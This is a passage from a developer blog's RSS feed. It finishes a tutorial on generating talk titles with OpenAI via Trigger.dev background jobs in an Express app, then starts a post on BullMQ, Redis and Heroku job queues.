&lt;p&gt;Let’s get the Trigger.dev and OpenAI APIs ready:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Instantiate the Trigger.dev client&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;client&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;TriggerClient&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  id: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;trigger-express-example-integration&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  apiKey: process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;TRIGGER_API_KEY&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;use&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;createMiddleware&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(client));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Instantiate the OpenAI integration for Trigger.dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;openai&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;OpenAI&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  id: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;openai&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  apiKey: process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;OPENAI_API_KEY&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;createMiddleware(client)&lt;/code&gt; function is imported from the official Trigger.dev Express package and registers a handler on the &lt;code&gt;/api/trigger&lt;/code&gt; route. This API endpoint has to be reserved for the Trigger.dev integration to work.&lt;/p&gt;
&lt;p&gt;Next up, we define a job to handle title generation requests.&lt;/p&gt;
&lt;p&gt;In Trigger.dev, a defined job is composed of the following details:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A job’s description: an identifier, name, and version. Notice that the &lt;code&gt;version&lt;/code&gt; key is required and has to be semver-compatible.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;trigger&lt;/code&gt; key which defines how this job is triggered. In our case, it’s an event that we call from our own code using the Trigger.dev SDK. We give it a name &lt;code&gt;title.generate&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Any integrations that would be available to the background job work. In this case, &lt;code&gt;openai&lt;/code&gt; which refers to the instantiated OpenAI integration from Trigger.dev.&lt;/li&gt;
&lt;li&gt;The background job worker defined in the &lt;code&gt;run&lt;/code&gt; key as an async function accepting: &lt;code&gt;payload&lt;/code&gt;, and &lt;code&gt;io&lt;/code&gt; variables.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Defines a new background job&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;client.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;defineJob&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 1. Job Metadata&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  id: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;express-title-generator&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  name: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Express Title Generator&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  version: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;1.0.0&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 2. Trigger is defined as a custom code-triggered event&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  trigger: &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;eventTrigger&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    name: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;title.generate&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  integrations: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    openai,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 3. The Run function which is called when the job is triggered&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;io&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// This simple run just logs the payload and returns it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; io.openai.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;backgroundCreateChatCompletion&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Generating summary&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        model: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;gpt-3.5-turbo-16k&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        messages: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            role: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            content: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`The following is a description of a presentation, often submitted to call for papers to speak at events. Only reply with a title that would best fit this description: ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;talkDescriptionText&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;result.choices &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;result.choices[&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;result.choices[&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;].message) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      io.logger.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Failed to process OpenAI request&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; result.choices[&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;].message.content;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    titleGeneratedText &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; title;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { titleGeneratedText };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The background job worker uses the OpenAI integration via &lt;code&gt;io.openai&lt;/code&gt; and calls the unique-to-triggerdev function called &lt;code&gt;backgroundCreateChatCompletion&lt;/code&gt; which is responsible to schedule the OpenAI request to the familiar &lt;code&gt;chatCompletion&lt;/code&gt; API from OpenAI - but specifically, it runs this IO request on Trigger.dev’s own infrastructure. This is needed because short-lived serverless functions like those on Heroku, Vercel or Netlify are limited in their overall execution time. So for example, a function on Vercel is limited to 10 seconds and if you had used the OpenAI SDK directly in this job and it had taken 10 seconds or more, then Vercel will simply terminate the function and thus failing the job processing.&lt;/p&gt;
&lt;p&gt;The rest of the background job worker here is straight-forward in its use of the OpenAI API and concludes with updating the global variable &lt;code&gt;titleGeneratedText&lt;/code&gt; with the generated text.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I’m again reminding you that this is by no means any close to production code with mutating global variables like this so do not follow this in production or remotely demonstrate-able work that is beyond a learning practice otherwise you’re bound to run into problems (racing conditions, etc)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Finally, we have the API endpoints to trigger title generation and check on title data readiness:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/api/titles&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;next&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ title: titleGeneratedText });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;post&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/api/titles&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;next&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; client.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;sendEvent&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    name: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;title.generate&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    payload: { talkDescriptionText: req.body.talkDescriptionText },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ message: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;new job added to queue&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;running-the-example-express-openai-and-triggerdev-application&quot;&gt;Running the example Express, OpenAI and Trigger.dev application&lt;/h2&gt;
&lt;p&gt;To have a functional application of our OpenAI generated presentation title application we need to simultaneously execute two commands:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;npm run start&lt;/code&gt; - start the Express application (remember, it hosts both the backend and the frontend, so this is all that is needed for the app) on localhost.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;npm run trigger:dev&lt;/code&gt; - spawns a tunnel so that the Trigger.dev platform can communicate with the locally running Express app on localhost&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Note that if you make any changes to the application identifier under which you registered the Trigger.dev SDK you also need to update the &lt;code&gt;trigger.dev&lt;/code&gt; section and the &lt;code&gt;endpointId&lt;/code&gt; key in the &lt;code&gt;package.json&lt;/code&gt; file accordingly.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Have fun!&lt;/p&gt;</content:encoded></item><item><title>How to Process Scheduled Queue Jobs in Node.js with BullMQ and Redis on Heroku</title><link>https://lirantal.com/blog/how-to-process-scheduled-queue-jobs-in-nodejs-with-bullmq-and-redis-on-heroku/</link><guid>https://lirantal.com/blog/how-to-process-scheduled-queue-jobs-in-nodejs-with-bullmq-and-redis-on-heroku/</guid><description>Process long-running tasks in Node.js with background jobs. Learn how to use BullMQ and Redis on Heroku to create a scalable and reliable background job processing system.</description><pubDate>Thu, 17 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Background job processing is a technique for running tasks that can take a long time to complete in a separate process from the main application server. This allows the main application server to continue to handle requests from users while the background jobs are running.&lt;/p&gt;
&lt;p&gt;There are many reasons why you might want to use background job processing in your Node.js server application. For example, you might use it to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Process large files or images&lt;/li&gt;
&lt;li&gt;Send email or SMS messages&lt;/li&gt;
&lt;li&gt;Run batch jobs&lt;/li&gt;
&lt;li&gt;Perform complex calculations&lt;/li&gt;
&lt;li&gt;Schedule tasks to run at a later time&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are a number of different ways to implement background job processing in Node.js. One popular approach is to use a message queue. A message queue is a first-in-first-out (FIFO) system that allows you to send messages between different processes. When you want to run a background job, you can add a message to the queue. The message will then be processed by a separate worker process, which is a process that is dedicated to running background jobs.&lt;/p&gt;
&lt;p&gt;In this article, I will share how to use the BullMQ npm package together with a Redis server to implement background job processing in Node.js. I’ll also cover how to deploy your background job application to Heroku.&lt;/p&gt;
&lt;h2 id=&quot;requirements-for-this-tutorial&quot;&gt;Requirements for this tutorial&lt;/h2&gt;
&lt;p&gt;To get started, you will need to have the following installed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Node.js&lt;/li&gt;
&lt;li&gt;Redis&lt;/li&gt;
&lt;li&gt;The Bull and Redis libraries&lt;/li&gt;
&lt;li&gt;The Heroku CLI&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once you have these installed, you can follow the instructions in this article to create your background job application.&lt;/p&gt;
&lt;h2 id=&quot;quick-introduction-to-heroku&quot;&gt;Quick introduction to Heroku&lt;/h2&gt;
&lt;p&gt;You’re welcome to skip if you already know or use Heroku.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://heroku.com&quot;&gt;Heroku&lt;/a&gt; is a cloud platform that makes it easy to deploy and scale web applications. It provides a number of features that make it ideal for deploying background job applications, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Automatic scaling: Heroku will automatically scale your application up or down based on demand, so you don’t have to worry about managing your own infrastructure.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Managed services: Heroku provides a number of managed services, such as Redis and Postgres, so you don’t have to worry about provisioning and managing these services yourself.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To get started with Heroku, you will need to create an account and install the Heroku CLI. Once you have done that, you can create a new Heroku app and deploy your application to it.&lt;/p&gt;
&lt;p&gt;The benefit of using Heroku for background job processing is that it is easily scalable, naturally fits long-running processes, and makes it easy to colocate your background job application with your main application server.&lt;/p&gt;
&lt;h2 id=&quot;quick-introduction-to-bullmq-and-redis&quot;&gt;Quick introduction to BullMQ and Redis&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://snyk.io/advisor/npm-package/bullmq&quot;&gt;BullMQ&lt;/a&gt; is a message queue library for Node.js. It allows you to send and receive messages between different processes. Redis is an in-memory data store that BullMQ uses as a message queue.&lt;/p&gt;
&lt;p&gt;BullMQ and Redis work together to provide a reliable and scalable way to process background jobs. BullMQ handles the queuing and routing of messages, while Redis stores the messages and provides a high-performance, consistent way to access them.&lt;/p&gt;
&lt;p&gt;Some key features of BullMQ include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Supports multiple queue types, including FIFO, LIFO, and priority queues.&lt;/li&gt;
&lt;li&gt;Allows you to schedule jobs to run at a later time.&lt;/li&gt;
